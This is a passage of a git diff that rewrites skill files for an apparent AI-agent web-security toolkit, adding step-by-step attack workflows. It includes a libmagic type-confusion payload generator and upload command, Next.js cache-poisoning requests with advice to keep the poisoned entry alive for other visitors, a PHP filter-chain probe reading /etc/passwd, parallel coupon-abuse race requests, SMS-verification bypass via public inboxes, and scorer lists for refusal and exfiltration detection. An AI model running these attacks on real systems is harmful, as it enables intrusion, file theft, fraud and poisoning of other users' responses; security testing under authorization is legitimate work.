+| Map asset relationships | `jxscout-relationships` | `jxscout-pro-v2 -c get-loaded-js-files <url>` |
+| Setup, settings, hooks | `jxscout-setup` | `jxscout-pro-v2 -c print-full-project-settings` |
 
-- **Follow the data**: trace how user input flows through the application, from URL parameters and postMessage events to DOM sinks and API calls.
-- **Think like an attacker**: what can be controlled, what can be reached, what can be chained?
-- **Go beyond matches**: static analysis results are a starting point, not the end. Read the surrounding code, understand the context, check for sanitization, find alternative paths.
-- **Verify with real requests**: use captured HTTP traffic and the repeater to confirm that what you see in code actually works in practice.
-- **Document as you go**: bookmark interesting code, create findings for confirmed issues, mark reviewed matches as seen so you don't revisit them.
-
-## Prerequisites
-
-The `JXSCOUT_PROJECT_NAME` environment variable must be set. It is available in the project's `.env` file at the root of the working directory. All CLI commands use `jxscout-pro-v2 -c` (client mode).
-
-## Capabilities overview
-
-### HTTP request/response context
-
-If `http_requests/` exists in the project working directory, jxscout has captured raw HTTP traffic from the target. The files are organized as `http_requests/{host}/{path}/{METHOD}/{timestamp}_{status}.req|.res`.
-
-Use captured traffic to:
-
-- **Understand real API patterns**: see actual request bodies, auth headers, cookies, and content types the application sends
-- **Discover endpoints not visible in JS**: some endpoints only appear in server responses, redirects, or error messages
-- **Cross-reference with static analysis**: match `path` or `api_path` results against real requests to see how endpoints are actually called
-- **Find auth tokens and session handling**: look at `Authorization`, `Cookie`, and `Set-Cookie` headers across requests
-- **Identify interesting responses**: error messages, stack traces, internal paths, version numbers, debug output
-
-### Static analysis (matches)
-
-jxscout runs static analyzers on every JS and HTML file it ingests. Results are called **matches** -- structured data pointing to specific patterns (paths, URLs, secrets, sinks, etc.).
-
-Use matches when they're useful for your investigation -- don't wait to be asked. They're a tool for pinpointing specific things efficiently:
+## Research Workflow
 
+### 1. Orient
 ```bash
-jxscout-pro-v2 -c list-match-kinds --json
-jxscout-pro-v2 -c get-matches --match-kind path --json --show-only-unseen
-jxscout-pro-v2 -c get-matches --match-kind secret --json
-jxscout-pro-v2 -c get-matches --match-kind onmessage --json --value-include "origin"
+# Understand what traffic was captured
+ls http_requests/
+# Check project settings
+jxscout-pro-v2 -c print-full-project-settings
 ```
 
-But also grep the codebase directly, read code manually, and explore beyond what analyzers find. Matches only cover what analyzers are configured to detect.
-
-### Tracking progress with seen/unseen
-
-Matches have a seen/unseen status. Use this to track what you've reviewed:
-
+### 2. Enumerate attack surface
 ```bash
-# Mark specific matches as seen after reviewing them
-jxscout-pro-v2 -c mark-matches-seen --match-ids 1,2,3
-
-# Mark all matches of a kind as seen (bulk)
-jxscout-pro-v2 -c mark-matches-seen --match-kind path
+# List all match kinds available
+jxscout-pro-v2 -c list-match-kinds --json
 
-# Focus on unreviewed matches
+# Get high-value matches
+jxscout-pro-v2 -c get-matches --match-kind secret --json --show-only-unseen
+jxscout-pro-v2 -c get-matches --match-kind onmessage --json --show-only-unseen
 jxscout-pro-v2 -c get-matches --match-kind path --json --show-only-unseen
-
-# Re-mark as unseen if you want to revisit
-jxscout-pro-v2 -c mark-matches-unseen --match-ids 4,5,6
 ```
 
-This is especially valuable for large projects where there are thousands of matches. Review systematically, mark as seen, and use `--show-only-unseen` to always see what's new or unreviewed.
-
-### Custom analyzers
-
-When you find a pattern worth tracking across the entire project, create a custom analyzer rather than manually grepping for it repeatedly. There are three types:
-
-- **Regex**: simple literal patterns (hardcoded URLs, API keys, specific strings)
-- **Derived**: narrow down an existing match kind by value
-- **Script (semgrep)**: code-semantic analysis (function calls, assignments, data flow, missing checks)
+**Checkpoint:** Record total unseen match counts per kind. Prioritize: secrets > sinks > onmessage > paths.
 
-Add them to `settings.jsonc` under `analyzer > custom_analyzers`, test with `analyze`, then `retrigger-events --subscriber analyzer` to generate matches project-wide. See the custom-analyzers skill for full details.
-
-### Bookmarks
-
-Bookmark code you want to come back to -- sinks, gadgets, interesting flows, authentication logic, request construction patterns. Group related bookmarks together and write notes explaining **why** the code is interesting, not just what it does.
-
-Bookmarks are especially useful for documenting multi-step flows: bookmark each step in the same group with notes that describe the progression (e.g., "Step 1: user input received here", "Step 2: passed to API construction without validation", "Step 3: sent in fetch request").
-
-```bash
-jxscout-pro-v2 -c bookmark create-group --name "OAuth flow"
-jxscout-pro-v2 -c bookmark create \
-  --group "OAuth flow" \
-  --file-path /path/to/auth.js \
-  --start-line 45 --start-column 0 \
-  --end-line 52 --end-column 1 \
-  --note "Step 1: OAuth redirect constructed with user-controlled redirect_uri parameter"
-```
-
-### Repeater
-
-Use the repeater to test endpoints hands-on. Start from captured requests in `http_requests/`, copy to `repeater/<endpoint>/<test>/original.req`, then iterate:
-
-```bash
-jxscout-pro-v2 -c repeater repeater/api_v2_users/idor_test/original.req
-```
-
-Edit `original.req` between runs -- each send creates timestamped copies so your full history is preserved. See the repeater skill for full details.
-
-### Findings
-
-Document confirmed vulnerabilities and useful primitives as findings:
-
-```bash
-jxscout-pro-v2 -c create-finding \
-  --kind xss \
-  --severity high \
-  --description "Reflected XSS in /search endpoint via q parameter -- innerHTML assignment without sanitization" \
-  --dedup-key "/search:q:xss"
-```
-
-Create findings for things with real security value: confirmed vulns, interesting gadgets, exploitable primitives. Not for theoretical risks without evidence. See the findings skill for full details.
-
-### Asset relationships
-
-Map the attack surface by understanding how assets relate:
+### 3. Triage matches
+For each match: read surrounding code, trace data flow, assess exploitability.
+- Sink with attacker-controlled input -> potential vulnerability, bookmark and investigate
+- Interesting pattern but no clear exploit -> bookmark as gadget for later chaining
+- False positive -> mark as seen: `jxscout-pro-v2 -c mark-matches-seen --match-ids 1,2,3`
 
+### 4. Deep-dive interesting files
 ```bash
 # What JS runs on a specific page?
 jxscout-pro-v2 -c get-loaded-js-files https://target.com/app --json
 
 # Which pages load a vulnerable script?
 jxscout-pro-v2 -c get-js-file-loader-page /path/to/vulnerable.js --json
-
-# What iframes does a page embed?
-jxscout-pro-v2 -c get-loaded-iframes https://target.com/app --json
-
-# Full relationship graph
-jxscout-pro-v2 -c get-related-assets /path/to/file --json
-```
-
-This is critical for impact assessment: finding a sink in a JS file is more valuable when you know which pages load it.
-
-### Project settings
-
-The project's behavior is controlled by `settings.jsonc` in the working directory. You can view the full resolved settings (defaults merged with overrides) with:
-
-```bash
-jxscout-pro-v2 -c print-full-project-settings
 ```
 
-Update `settings.jsonc` when it helps your assessment:
-
-- **Scope**: adjust `ingestion > scope` to include or exclude specific hostnames/patterns
-- **HTTP ingestion**: configure `http_request_ingestion` rules to capture or skip specific request patterns
-- **Analyzer config**: add custom analyzers, adjust file type targets, enable/disable specific analysis
-- **VS Code extension view**: add new match kinds to `vscode_extension > matches_view > structure` so they appear in the sidebar
-
-jxscout auto-reloads when `settings.jsonc` changes.
-
-### Path discovery and bruteforcing
-
-Use discovered paths from static analysis as input for endpoint discovery:
-
-```bash
-# Get all discovered paths
-jxscout-pro-v2 -c get-matches --match-kind path
-
-# Get API-specific paths
-jxscout-pro-v2 -c get-matches --match-kind api_path
-
-# Generate wordlists from extracted words
-jxscout-pro-v2 -c wordlist --json
-```
-
-Combine these with scripting to probe for hidden endpoints, test path variations, or bruteforce parameter values. Create scripts in the project directory as needed.
-
-## Research workflow
-
-There's no single correct order. Adapt based on what you're investigating and what you find. Here's a typical flow:
-
-1. **Orient**: browse `http_requests/` to understand what the application does, what APIs it calls, how authentication works. Check asset relationships to understand the page/script structure.
-
-2. **Map the surface**: query matches for paths, URLs, hostnames to get an overview of the exposed attack surface. Use relationships to scope your analysis to specific pages.
-
-3. **Hunt for vulnerabilities**: focus on high-value match kinds (secrets, sinks, onmessage, html_manipulation). Read the surrounding code. Trace data flows. Check for sanitization and validation.
-
-4. **Test**: use the repeater to send real requests. Modify parameters, headers, auth tokens. Verify that what you found in code is actually exploitable.
+### 5. Test and validate
+Use `jxscout-repeater` to replay/modify requests. Confirm findings with working PoCs.
 
-5. **Document**: create findings for confirmed issues. Bookmark interesting code for future reference. Mark reviewed matches as seen.
+### 6. Document
+Log confirmed findings via `jxscout-findings`. Bookmark key code patterns via `jxscout-bookmarks`.
 
-6. **Automate**: if you spot a pattern worth tracking, create a custom analyzer. If you need to test many endpoints, write a script.
+### 7. Automate patterns
+If you spot a recurring pattern, create a custom analyzer via `jxscout-custom-analyzers`. Then retrigger: `jxscout-pro-v2 -c retrigger-events --subscriber analyzer`
 
-7. **Iterate**: new files get ingested as jxscout captures more traffic. Check `--show-only-unseen` to see new matches. Re-examine areas as your understanding deepens.
+**Checkpoint:** After each investigation round, verify all reviewed matches are marked seen (`--show-only-unseen` should return only new/unreviewed items).
diff --git a/capabilities/web-security/skills/jxscout-static-analysis/SKILL.md b/capabilities/web-security/skills/jxscout-static-analysis/SKILL.md
index 16e50e9..110f07a 100644
--- a/capabilities/web-security/skills/jxscout-static-analysis/SKILL.md
+++ b/capabilities/web-security/skills/jxscout-static-analysis/SKILL.md
@@ -10,9 +10,7 @@ metadata:
 
 # jxscout Static Analysis (Matches)
 
-jxscout runs static analyzers on every JS and HTML file it ingests. The results are called **matches** -- structured data pointing to specific patterns in the code (paths, URLs, secrets, sinks, etc.).
-
-Use matches as a tool during your investigation -- query them when they're relevant, not only when explicitly asked. They're efficient for pinpointing specific patterns across a large codebase. But always supplement with grepping and manual code review for patterns the analyzers don't cover.
+jxscout runs static analyzers on every ingested JS and HTML file. Results are **matches** -- structured data pointing to patterns (paths, URLs, secrets, sinks). Query them during investigation alongside direct code search for patterns analyzers don't cover.
 
 ## Prerequisites
 
@@ -102,15 +100,17 @@ Returns JSON: `{"updated_count": N}`
 ## Workflow
 
 1. **Discover match kinds**: `jxscout-pro-v2 -c list-match-kinds --json`
-2. **Query relevant kinds**: start with high-value kinds like `path`, `api_path`, `secret`, `onmessage`, `html_manipulation`
-3. **Use filters** to focus on what matters:
-   - `--value-include "admin"` to find admin-related paths
-   - `--value-include "internal"` to find internal endpoints
-   - `--file-path-include "auth"` to scope to auth-related files
-   - `--show-only-unseen` to focus on unreviewed matches
-4. **Read the code** at the match positions to understand context
+2. **Query high-value kinds first**: `secret`, `onmessage`, `html_manipulation`, then `path`, `api_path`
+3. **Use filters** to focus:
+   - `--value-include "admin"` for admin-related paths
+   - `--value-include "internal"` for internal endpoints
+   - `--file-path-include "auth"` to scope to auth files
+   - `--show-only-unseen` for unreviewed matches only
+4. **Read the code** at match positions to understand context
 5. **Mark as seen** after reviewing: `mark-matches-seen --match-ids <ids>`
-6. **Grep for more**: matches only cover what analyzers are configured to find -- search the codebase directly for patterns you care about that aren't covered
+6. **Grep for more**: matches only cover configured analyzers -- search directly for uncovered patterns
+
+**Checkpoint:** After each triage session, verify all reviewed matches are marked seen. Use `get-matches --match-kind <kind> --show-only-unseen` to confirm only new/unreviewed items remain.
 
 ## HTTP request context
 
diff --git a/capabilities/web-security/skills/libmagic-type-confusion/SKILL.md b/capabilities/web-security/skills/libmagic-type-confusion/SKILL.md
index 6514f7a..d5a3bd3 100644
--- a/capabilities/web-security/skills/libmagic-type-confusion/SKILL.md
+++ b/capabilities/web-security/skills/libmagic-type-confusion/SKILL.md
@@ -1,91 +1,88 @@
 ---
 name: libmagic-type-confusion
-description: Bypass file type detection using libmagic's JSON nesting depth limit to force type confusion. Upload files that evade MIME checks by exploiting recursion guards in file or libmagic. Use when file uploads validate type via libmagic or the file command and you need to smuggle executable content.
+description: Bypass file type detection using libmagic's JSON nesting depth limit to force type confusion. Use when file uploads validate type via libmagic or the file command and you need to smuggle executable content past MIME checks.
 ---
 
 # libmagic Type Confusion via Deep JSON Nesting
 
 ## Pattern
-- The application validates upload type using `file` or libmagic bindings
-- Dangerous formats such as HTML, SVG, or script-capable content are blocked
-- A later processing stage handles the uploaded file based on the detected type
+- Application validates upload type using `file` or libmagic bindings
+- Dangerous formats (HTML, SVG, script-capable) are blocked
+- A later processing stage handles the uploaded file based on detected type
 
-## Root Cause
-libmagic's JSON detector includes a recursion guard:
+## Workflow
 
-```c
-if (lvl > 500) {
-    return 0;
-}
-```
+### 1. Detect libmagic usage
+```bash
+# Check if target uses libmagic/file command for validation
+rg -i "finfo|magic_open|python-magic|ruby-filemagic|file_get_contents.*mime" --type py --type rb --type php src/
 
-Once nesting exceeds the guard, libmagic stops treating the file as JSON. If another recognizable signature is embedded, classification may fall through to that type instead.
+# Check file command version (depth limit varies)
+file --version 2>&1 | head -1
+```
 
-## Version Differences
+**Checkpoint:** If target uses Node.js-only MIME, Apache Tika, or .NET-native detection, this technique does not apply.
 
-| Version | JSON depth limit | Notes |
-|---------|------------------|-------|
-| libmagic 5.41 | about 10 levels | easier to exploit |
-| libmagic 5.46+ | about 500 levels | requires deeper nesting |
+### 2. Determine depth threshold
 
-## Exploitation
+| Version | JSON depth limit | Nesting needed |
+|---------|------------------|----------------|
+| libmagic 5.41 | ~10 levels | easy |
+| libmagic 5.46+ | ~500 levels | 510+ levels |
 
-### Step 1: Generate nested JSON with an embedded signature
+### 3. Generate confused payload
 ```python
 #!/usr/bin/env python3
-import json
+import json, sys
 
 def make_payload(depth=510, target_sig="%PDF-1.4"):
     obj = "terminal"
     for i in range(depth):
         obj = {f"l{i}": obj}
     obj["_sig"] = target_sig + "\n1 0 obj\n<<\n/Type /Catalog\n>>\nendobj\n%%EOF"
-    return json.dumps(obj)
+    with open("confused.json", "w") as f:
+        json.dump(obj, f)
+
+make_payload()
 ```
 
-### Step 2: Verify confusion locally
+### 4. Verify confusion locally
 ```bash
+python3 -c "
+import json
+obj = 'x'
+for i in range(510): obj = {f'l{i}': obj}
+obj['_sig'] = '%PDF-1.4\n1 0 obj\n<<\n/Type /Catalog\n>>\nendobj\n%%EOF'
+open('confused.json','w').write(json.dumps(obj))
+"
 file confused.json
+# Expected: "PDF document" instead of "JSON data"
 ```
 
-### Step 3: Upload and trigger the downstream handler
-The goal is not just misclassification. Confirm the file reaches a parser, renderer, or execution path that trusts the reported type.
+**Checkpoint:** If `file` still reports JSON, increase depth or check version. If it reports the target type, proceed.
 
-## Practical Payloads
-
-### PDF smuggling
-Embed a PDF header and minimal PDF structure so the target routes it into a PDF pipeline.
-
-### HTML smuggling
-On older libmagic versions, shallow nesting may be enough to hide HTML or SVG content from JSON detection.
+### 5. Upload and trigger downstream handler
+```bash
+curl -x localhost:8080 -k "https://target.com/upload" \
+  -F "file=@confused.json;type=application/json"
+```
 
-## Language and Library Coverage
+The goal is not just misclassification -- confirm the file reaches a parser, renderer, or execution path that trusts the reported type.
 
-Affected when they inherit libmagic behavior:
-- C and C++
-- Perl
-- Ruby
-- PHP `finfo`
-- Python `python-magic`
-- Go wrappers around libmagic
+## Practical Payloads
 
-Usually not affected by this exact bug class:
-- Node.js-only MIME implementations
-- Java systems using Apache Tika
-- .NET-native MIME detection
-- Rust-native detection libraries
+- **PDF smuggling**: embed `%PDF-1.4` header + minimal structure -> routes to PDF pipeline
+- **HTML smuggling**: on older libmagic, shallow nesting hides HTML/SVG from JSON detection
+- **SVG smuggling**: embed SVG signature for XSS via image processing pipelines
 
-## Testing Steps
-1. Determine whether the target uses libmagic or `file`.
-2. Identify the version if possible.
-3. Generate a nested JSON payload matching the target depth threshold.
-4. Embed the target type signature.
-5. Confirm both type confusion and downstream processing.
+## Affected Libraries
+- C/C++, Perl, Ruby, PHP `finfo`, Python `python-magic`, Go libmagic wrappers
+- NOT affected: Node.js-only MIME, Apache Tika, .NET-native detection, Rust-native detection
 
 ## Chain With
-- `dom-vulnerability-detection`
-- `write-path-to-rce`
-- `parser-differential-bypass`
+- `dom-vulnerability-detection` (if HTML/SVG smuggled)
+- `write-path-to-rce` (if file write achieved)
+- `parser-differential-bypass` (complementary technique)
 
 ## References
 - https://lab.ctbb.show/research/libmagic-inconsistencies-that-lead-to-type-confusion
diff --git a/capabilities/web-security/skills/mcp-auth-exploitation/SKILL.md b/capabilities/web-security/skills/mcp-auth-exploitation/SKILL.md
index 67be330..3a5a0ef 100644
--- a/capabilities/web-security/skills/mcp-auth-exploitation/SKILL.md
+++ b/capabilities/web-security/skills/mcp-auth-exploitation/SKILL.md
@@ -40,7 +40,7 @@ curl -X POST https://TARGET/openid/connect/register \
   }'
 ```
 
-**Success indicators:** 201 with `client_id` + `client_secret` in response. Check `client_secret_expires_at` — value of `0` means non-expiring secret.
+**Checkpoint:** 201 with `client_id` + `client_secret` in response = open registration confirmed. Check `client_secret_expires_at` -- value of `0` means non-expiring secret. If 401/403, registration requires authentication.
 
 ### MCP CIMD Detection
 
diff --git a/capabilities/web-security/skills/nextjs-cache-poisoning/SKILL.md b/capabilities/web-security/skills/nextjs-cache-poisoning/SKILL.md
index 08f9d67..33d97dd 100644
--- a/capabilities/web-security/skills/nextjs-cache-poisoning/SKILL.md
+++ b/capabilities/web-security/skills/nextjs-cache-poisoning/SKILL.md
@@ -1,32 +1,54 @@
 ---
 name: nextjs-cache-poisoning
-description: Internal cache poisoning in Next.js via stale cache entries and header manipulation. Use when target runs Next.js (/_next/ paths, x-nextjs-cache header, __nextjs_original-cache-control).
+description: Internal cache poisoning in Next.js via stale cache entries and header manipulation. Use when target runs Next.js (/_next/ paths, x-nextjs-cache header, __nextjs_original-cache-control) and you need to poison cached responses.
 ---
 
 # Next.js Cache Poisoning
 
-## Pattern
-- `/_next/` paths in responses or `x-nextjs-cache` header (HIT/STALE/MISS)
-- `x-nextjs-stale-time` or `__nextjs_original-cache-control` in responses
-- SSR routes returning `s-maxage=31536000, stale-while-revalidate`
-- `x-now-route-matches` header presence
+## Detection
+```bash
+# Check for Next.js cache indicators
+curl -sD- "https://target.com/" | rg -i "x-nextjs-cache|x-nextjs-stale|__nextjs_original|x-now-route"
 
-## Probe
-1. Identify SSR routes with aggressive cache headers (not `private, no-cache`)
-2. Send request with injected `x-now-route-matches` header:
+# Find SSR routes with aggressive cache headers
+curl -sD- "https://target.com/target-page" | rg "s-maxage|stale-while-revalidate"
 ```
-GET /target-page HTTP/1.1
-Host: target.com
-x-now-route-matches: 1
+
+**Checkpoint:** Must see `x-nextjs-cache` header (HIT/STALE/MISS) or `s-maxage` in response. If all routes return `private, no-cache`, cache poisoning is not viable.
+
+## Exploit
+
+### 1. Identify poisonable route
+Find SSR routes with `s-maxage=31536000, stale-while-revalidate` (not `private, no-cache`).
+
+### 2. Inject via x-now-route-matches header
+```bash
+curl -sD- "https://target.com/target-page" \
+  -H "x-now-route-matches: 1"
+```
+
+### 3. Target data endpoint directly
+```bash
+curl -sD- "https://target.com/_next/data/BUILD_ID/target-page.json" \
+  -H "x-now-route-matches: 1"
+```
+
+### 4. Verify poisoning
+```bash
+# Check if subsequent requests return poisoned content
+curl -s "https://target.com/target-page" | head -50
+# Look for x-nextjs-cache: HIT with attacker-controlled data
 ```
-3. Target `/_next/data/{buildID}/page.json` directly with same header
-4. If response contains user-controlled data (User-Agent, custom headers) AND `s-maxage` caching, the entry is poisoned for all visitors
-5. Leverage `stale-while-revalidate` window — periodically re-inject to maintain poisoned entry
+
+**Checkpoint:** Verify with a different session/IP that the poisoned response is served to other users. Single-user cache hits are not exploitable.
+
+### 5. Maintain poisoned entry
+During the `stale-while-revalidate` window, periodically re-inject to prevent cache refresh.
 
 ## Indicators
 - `x-nextjs-cache: HIT` on subsequent requests returning attacker-controlled data
 - Cached JSON endpoint (`/_next/data/`) contains injected content
-- Other users receive poisoned response (verify with different session/IP)
+- Other users receive poisoned response
 
 ## Chain With
 - web-cache-deception-path (path delimiter confusion + Next.js cache)
diff --git a/capabilities/web-security/skills/phone-verification/SKILL.md b/capabilities/web-security/skills/phone-verification/SKILL.md
index fbb9fcf..867d49f 100644
--- a/capabilities/web-security/skills/phone-verification/SKILL.md
+++ b/capabilities/web-security/skills/phone-verification/SKILL.md
@@ -1,29 +1,41 @@
 ---
 name: phone-verification
-description: Use when signup, login, recovery, or MFA testing requires SMS verification during authorized web security testing. Prefer free public inboxes first, then paid private numbers only when public numbers are blocked.
+description: Retrieve SMS verification codes from public or private phone number services. Use when signup, login, recovery, or MFA testing requires SMS verification during authorized web security testing.
 ---
 
 # Phone Verification
 
-Use the phone verification tools only when a target flow requires an SMS code.
-
 ## Workflow
 
-1. Start with free public numbers:
-   - `list_free_phone_numbers(country="all")`
-   - Use a relevant country filter when the target requires it.
-2. Submit the selected number in the target flow.
-3. Read the inbox:
-   - `read_phone_inbox(phone_number="...")`
-   - Use `sender_filter` when the inbox is noisy.
-4. If the target blocks public numbers, use a private-number provider:
-   - Retrieve the provider API key with `get_credential`.
-   - `request_private_number(...)`
-   - `poll_private_number(...)`
+### 1. Try free public numbers first
+```
+numbers = list_free_phone_numbers(country="all")
+```
+Use a relevant country filter when the target requires it (e.g., `country="US"`).
+
+### 2. Submit number in target flow
+Enter the selected number in the target's SMS verification field.
+
+### 3. Read the inbox
+```
+messages = read_phone_inbox(phone_number="+1234567890")
+```
+Use `sender_filter` when the inbox is noisy (e.g., `sender_filter="TargetApp"`).
+
+**Checkpoint:** If no SMS arrives after 30 seconds, retry `read_phone_inbox` up to 3 times with 10s intervals. If still empty, the public number may be blocked -- proceed to step 4.
+
+### 4. Escalate to private number if blocked
+```
+key = get_credential("sms_provider_api_key")
+number = request_private_number(provider="twilio", country="US", api_key=key)
+code = poll_private_number(number=number, timeout=60)
+```
+
+**Checkpoint:** After extracting the code, verify it is a valid format (typically 4-8 digits) before submitting to the target.
 
 ## Rules
 
-- Use only for authorized testing.
-- Public inboxes are shared. Do not use them for sensitive real accounts.
-- Do not use paid private numbers unless public numbers are rejected or rate-limited.
-- Store provider API keys with `store_credential`; do not place secrets in prompts or reports.
+- Use only for authorized testing
+- Public inboxes are shared -- do not use for sensitive real accounts
+- Do not use paid private numbers unless public numbers are rejected or rate-limited
+- Store provider API keys with `store_credential` -- never place secrets in prompts or reports
diff --git a/capabilities/web-security/skills/php-filter-chain-oracle/SKILL.md b/capabilities/web-security/skills/php-filter-chain-oracle/SKILL.md
index 7316e9a..cc7ed1b 100644
--- a/capabilities/web-security/skills/php-filter-chain-oracle/SKILL.md
+++ b/capabilities/web-security/skills/php-filter-chain-oracle/SKILL.md
@@ -11,8 +11,18 @@ description: Leak file contents via PHP filter chain error-based oracle using me
 - No direct file content output (blind LFI scenario)
 - Differential error responses observable (500 vs 200, different error messages)
 
-## Probe
-Exploit `convert.iconv` filter chains to cause memory exhaustion conditionally on file content:
+## Workflow
+
+### 1. Confirm php:// wrapper access
+```bash
+curl -s "https://target.com/endpoint?file=php://filter/resource=/etc/passwd"
+# vs
+curl -s "https://target.com/endpoint?file=/etc/passwd"
+```
+
+**Checkpoint:** If both return identical errors, the wrapper may be blocked. If different responses, the wrapper is processed.
+
+### 2. Exploit iconv filter chains as byte oracle
 1. Chain `convert.iconv.UTF8.UCS-4LE` filters to expand data exponentially
 2. Use `dechunk` filter as byte oracle — parses hex chars differently than non-hex
 3. If target byte is hex `[0-9a-f]`: `dechunk` processes it, chain continues → memory exhaustion → 500
@@ -24,6 +34,8 @@ php://filter/convert.iconv.UTF8.UCS-4LE|convert.iconv.UTF8.UCS-4LE|...|dechunk/r
 ```
 Automate with: `php_filter_chains_oracle_exploit` (github.com/synacktiv/php_filter_chains_oracle_exploit)
 
+**Checkpoint:** Verify the oracle is consistent by testing the same byte position 3 times. If responses differ across runs, network jitter or caching may interfere.
+
 ## Indicators
 - Differential response: 500 (memory limit) vs 200 for different filter chains
 - Consistent oracle across repeated requests for same byte position
diff --git a/capabilities/web-security/skills/race-condition-single-packet/SKILL.md b/capabilities/web-security/skills/race-condition-single-packet/SKILL.md
index c2aedd5..f08c092 100644
--- a/capabilities/web-security/skills/race-condition-single-packet/SKILL.md
+++ b/capabilities/web-security/skills/race-condition-single-packet/SKILL.md
@@ -1,6 +1,6 @@
 ---
 name: race-condition-single-packet
-description: Single-packet race conditions for exploiting multi-step flows via precise HTTP/2 request synchronization. Use when target has state-changing operations with limit checks, balance validation, or multi-step logic.
+description: Single-packet race conditions for exploiting multi-step flows via precise HTTP/2 request synchronization. Use when target has state-changing operations with limit checks, balance validation, or multi-step logic that may be vulnerable to concurrent execution.
 ---
 
 # Race Condition (Single-Packet Attack)
@@ -13,20 +13,33 @@ description: Single-packet race conditions for exploiting multi-step flows via p
 - Inventory/stock checks during purchase
 - Rate limit bypass on authentication endpoints
 
-## Probe
-**HTTP/2 single-packet technique:**
+## Technique
+
+**HTTP/2 single-packet:**
 1. Open one H2 connection to target
 2. Prepare N requests (e.g. 20x "apply coupon") but withhold final DATA frames
 3. Pause ~100ms to trigger Nagle's algorithm batching
 4. Send all END_STREAM frames simultaneously in one TCP packet
 5. All N requests arrive within ~1ms, defeating server-side locks
 
-**HTTP/1.1 last-byte sync:**
+```bash
+# Using Turbo Intruder (Burp extension) - single-packet mode:
+# In Turbo Intruder, select "race/single-packet-attack.py" template
+# Set request count to 20, configure the target request, and fire
+
+# Using curl for quick H2 multiplexing test:
+seq 1 20 | xargs -P 20 -I{} curl --http2 -s -o /dev/null -w "req={} status=%{http_code}\n" \
+  -X POST "https://target.com/api/apply-coupon" \
+  -H "Cookie: session=TOKEN" \
+  -d "code=PROMO123"
+```
+
+**HTTP/1.1 last-byte sync** (when H2 not available):
 1. Send N requests on N connections, withholding final byte of each
 2. Send all final bytes simultaneously
 3. Less precise (~4ms spread) but works without H2
 
-Tools: Turbo Intruder (single-packet attack mode), `curl --parallel` with H2.
+**Checkpoint:** After sending parallel requests, check the resource state (balance, coupon count, vote tally). If the operation applied N times instead of once, the race condition is confirmed.
 
 ## Indicators
 - Resource consumed N times from N parallel requests (coupon applied twice)
diff --git a/capabilities/web-security/skills/scorer-reference/SKILL.md b/capabilities/web-security/skills/scorer-reference/SKILL.md
index f812b56..43c7687 100644
--- a/capabilities/web-security/skills/scorer-reference/SKILL.md
+++ b/capabilities/web-security/skills/scorer-reference/SKILL.md
@@ -1,26 +1,24 @@
 ---
 name: scorer-reference
-description: SDK rubrics and scorers relevant to web-security evaluation tasks
+description: SDK rubrics and scorers for web-security evaluation tasks. Use when configuring task.yaml verification, composing evaluation scorers, selecting rubrics for vulnerability classes, or building scoring pipelines for agent trajectories.
 ---
 
 # Scorer Reference
 
-SDK rubrics and scorers for evaluating web-security agent trajectories. Use when configuring `task.yaml` verification or composing evaluation scorers.
-
 ## Rubric-Based Scorers (LLM-judged)
 
-These judge an agent's full trajectory against a rubric. Use with `outcome_judge` or `script_and_judge` verification methods.
+Judge an agent's full trajectory against a rubric. Use with `outcome_judge` or `script_and_judge` verification methods.
 
 | Rubric | Verifies | When to use |
 |--------|----------|-------------|
-| `idor` | Cross-boundary object access (BOLA, OWASP API1) | IDOR/BOLA tasks — demands proof of cross-user data access, rejects pattern-only claims |
+| `idor` | Cross-boundary object access (BOLA, OWASP API1) | IDOR/BOLA tasks -- demands proof of cross-user data access |
 | `rce` | Arbitrary code execution achieved | Command injection, SSTI, deserialization tasks |
 | `data_exfiltration` | Sensitive data sent to external system | Tasks where agent should detect data leak paths |
 | `privilege_escalation` | Elevated privileges obtained | Vertical escalation, admin access tasks |
 
 ### Usage in task.yaml
 
-Rubric names do NOT auto-resolve in `task.yaml` — the `rubric` field requires **inline text**. Load the rubric content from the SDK bundled YAML files at `dreadnode/airt/data/rubrics/{name}.yaml`.
+Rubric names do NOT auto-resolve -- the `rubric` field requires **inline text**. Load from `dreadnode/airt/data/rubrics/{name}.yaml`:
 
 ```yaml
 verification:
@@ -36,8 +34,6 @@ verification:
 
 ### Usage in SDK code
 
-Short names resolve automatically in `llm_judge()`:
-
 ```python
 import dreadnode as dn
 
@@ -50,24 +46,37 @@ success = scorer & ~dn.scorers.credential_leakage()
 
 ## Detection Scorers (pattern-based, no LLM)
 
-Fast pattern matchers. Use for high-throughput screening or as composition building blocks.
+Fast pattern matchers for high-throughput screening or composition.
 
 | Scorer | Detects | Web-sec use |
 |--------|---------|-------------|
-| `credential_leakage` | Leaked API keys, tokens, passwords in output | Agent found creds, or verify agent didn't leak its own |
+| `credential_leakage` | Leaked API keys, tokens, passwords | Agent found creds, or verify agent didn't leak its own |
 | `detect_refusal` | "I cannot", "as an AI" refusal patterns | Agent refused to test |
-| `contains(pattern)` | Substring or regex match | `contains("FLAG{")` for CTF tasks, `contains(r"HTTP/\d\.\d 200")` for response validation |
+| `contains(pattern)` | Substring or regex match | `contains("FLAG{")` for CTF, `contains(r"HTTP/\d\.\d 200")` for validation |
 | `detect_sensitive_keywords` | Password, secret, API key mentions | Agent found sensitive data exposure |
 | `detect_unsafe_shell_content` | Dangerous shell commands | Agent found command injection |
-| `ssrf_exfil_detected` | SSRF patterns, internal IPs, cloud metadata URLs | Agent found SSRF or verify agent didn't accidentally exfiltrate |
+| `ssrf_exfil_detected` | SSRF patterns, internal IPs, cloud metadata URLs | Agent found SSRF |
+
+## Workflow: Configuring Scorers for a New Task
+
+1. **Identify vuln class** -- match task to rubric (IDOR, RCE, data exfil, privesc)
+2. **Load rubric text** -- read from `dreadnode/airt/data/rubrics/{name}.yaml`:
+   ```bash
+   cat $(python3 -c "import dreadnode; print(dreadnode.__path__[0])")/airt/data/rubrics/idor.yaml
+   ```
+3. **Paste into task.yaml** -- inline the rubric text in the `rubric:` field
+4. **Add detection scorers** -- layer pattern matchers for fast screening
+5. **Validate** -- run a test trajectory and confirm scoring behaves as expected
+
+**Checkpoint:** After step 3, verify the rubric text renders correctly: `yq '.verification.judge.rubric' task.yaml`
 
 ## Scorer Pairing Guide
 
 | Task type | Recommended scorers |
 |-----------|-------------------|
-| IDOR/BOLA | `idor` + `credential_leakage` (verify creds not leaked in report) |
+| IDOR/BOLA | `idor` + `credential_leakage` |
 | Command injection / RCE | `rce` + `detect_unsafe_shell_content` |
 | Data exfiltration | `data_exfiltration` + `ssrf_exfil_detected` |
 | Auth bypass | `privilege_escalation` |
